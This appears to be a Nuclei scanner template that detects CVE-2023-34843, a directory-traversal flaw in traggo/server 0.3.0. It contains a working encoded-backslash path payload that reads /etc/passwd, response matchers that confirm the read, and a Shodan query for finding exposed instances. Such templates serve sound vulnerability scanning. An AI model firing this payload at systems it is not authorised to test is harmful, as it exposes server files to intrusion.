id: CVE-2023-34843 info: name: Traggo Server - Local File Inclusion author: DhiyaneshDk severity: high description: | traggo/server version 0.3.0 is vulnerable to directory traversal. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/rootd4ddy/CVE-2023-34843 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-34843 cwe-id: CWE-22 epss-score: 0.00349 epss-percentile: 0.68763 cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: traggo product: traggo shodan-query: html:"traggo" tags: cve,cve2023,traggo,lfi,server http: - method: GET path: - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd" matchers-condition: and matchers: - type: word part: header words: - text/plain - type: regex part: body regex: - "root:.*:0:0" - type: status status: - 200 # digest: 4a0a0047304502203c851d503c1949b00d18e9e298236f1b907d76f48f92a8cba3a42401fe41ac2d022100c346423eb1b119bf962eb0817b508b7b513abcd8f9e21b76b6d65abb9e2c8799:922c64590222798bb761d5b6d8e72950